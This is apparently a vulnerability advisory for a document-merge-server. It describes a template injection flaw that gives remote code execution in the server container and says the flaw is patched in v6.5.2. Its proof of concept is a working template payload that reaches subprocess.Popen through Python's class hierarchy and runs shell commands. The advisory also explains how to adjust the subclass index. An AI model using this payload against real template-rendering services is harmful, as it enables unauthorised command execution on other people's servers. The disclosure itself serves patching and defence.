Impact

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

It has been patched in v6.5.2

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
